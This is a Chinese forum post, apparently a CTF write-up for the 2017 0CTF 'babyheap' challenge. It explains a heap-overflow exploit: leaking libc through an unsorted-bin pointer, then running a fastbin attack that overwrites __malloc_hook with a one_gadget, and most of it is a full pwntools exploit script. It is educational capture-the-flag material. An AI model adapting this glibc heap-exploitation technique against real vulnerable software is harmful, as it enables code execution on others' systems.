# 2017\_0ctf\_babyheap

**URL:** <https://forum.90sec.com/t/topic/1110>\
**Category:** CTF 夺旗赛\
**Created:** [2020 年6 月 7 日 07:08 UTC](https://forum.90sec.com/t/topic/1110 "2020-06-07T07:08:46Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![CGN-115](https://forum.90sec.com/user_avatar/forum.90sec.com/cgn-115/32/6829_2.png) [@CGN-115](https://forum.90sec.com/u/CGN-115)\
发布日期： [2020 年6 月 7 日 07:08 UTC](https://forum.90sec.com/t/topic/1110/1 "2020-06-07T07:08:46Z")

</div>

> 小菜鸡做的第一道堆题

保护全开，看看有些什么功能

![image](https://forum.90sec.com/uploads/default/original/2X/f/f29c372640c4ead139cf0424e95f978ff62da0e6.png)

申请、填充、释放、查看、退出

在填充（fill）的时候，还要求输入你要填充多少个字节，但是可以输入比申请的大的数

**大体思路**

首先泄漏 libc 的地址，当一个 chunk 加入到 unsorted bin 中时，chunk 的 fd 和 bk 指针会指向 main\_arena。main\_arena 是 libc 中的一个结构体。泄露这个地址就可以计算出真实的 libc 地址了

然后使用 fastbin\_attack，分配到 malloc\_hook 的区域，然后对这块内存区域修改为 one\_gadget 的地址，修改 \_malloc\_hook 或 free\_hook 等等为 one\_gadget 地址，再次执行 malloc 的时候就会执行到 one\_gadget

一些思路和解释在 exp 的注释中

```python
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
p = process('./heap')
elf = ELF('./heap')
#首先是定义的一些函数，对应着程序的功能
def alloc(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
def fill(idx, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(len(content)))
    p.recvuntil("Content: ")
    p.send(content)
def free(idx):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
def dump(idx):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvline()
    return p.recvline()
def unsorted_offset_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4 # lock
    offset += 4 # flags
    offset += word_bytes * 10 # offset fastbin
    offset += word_bytes * 2 # top,last_remainder
    offset += idx * 2 * word_bytes # idx
    offset -= word_bytes * 2 # bin overlap
    return offset
#首先申请4个fast chunk和1个small chunk
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4
#free两个,这时候会放到fastbins中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)
#这个时候我们去对index0进行fill操作,他就会把index2的指针的末位改成0x80,也就指向了index4
#解释一下,前面申请了4块0x10的,加上chunk的一些信息,合起来是0x80
#所以把那个末位改成0x80就指向了index4,这样chunk4就被放到了fastbins中
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
#然后再通过index3去进行写入,把index4的大小改成0x21
#这么做是因为当申请index4这块内存的时候,他会检查大小是不是fast chunk的范围内
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
#改好index4的大小之后去申请两次，这样就把原来的fastbins中的给申请出来了
alloc(0x10)
alloc(0x10)
#申请成功之后index2就指向index4
#为了让index4能够被放到unsortedbins中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
#再申请一个防止index4与top chunk合并了
alloc(0x80)
#这时候free就会把index4放到unsorted中了
free(4)
#因为index2是指向index4的，所以直接把index2给dump一下就能拿到index4中前一部分的内容了
#main_arena与libc偏移为0x3c4b20(文末有工具算)
#再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
log.info("libc_base: "+hex(libc_base))
#此时因为fastbins中没有了,所以从unsortedbins中找
alloc(0x60)
#index2还是指向index4那个地方我们可以先释放index4
free(4)
#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd,具体看后面图片解释
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index6
#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
#再申请一下触发one_gadget
alloc(255)
p.interactive()

```

可以看到是有一些 0x7f 的，如果能够通过错位，使得它就是 size 位的话就能通过检查了，所以才有了 main\_arena-0x40+0xd

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/0bf6b2ad0d50014c2d7e805dbf19d398183b9cf1.png)

也就是这样，这时候再去写，先写 p8(0)\*3 来把前面错位的纠正过来，然后再写 p64(0)\*2 来占空，这时候再写 one\_gadget 就是到了 malloc\_hook 的位置了

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/b11e9ce82c68942a251e93b90d752246afeb2508.png)

计算的工具：

> **[GitHub - bash-c/main\_arena\_offset: A simple shell script to get main\_arena...](https://github.com/bash-c/main_arena_offset)**
>
> A simple shell script to get main\_arena offset of a given libc - GitHub - bash-c/main\_arena\_offset: A simple shell script to get main\_arena offset of a given libc

 ![image](https://forum.90sec.com/uploads/default/original/2X/2/28c498128ae925dd54e62547311c1794c9989022.png)
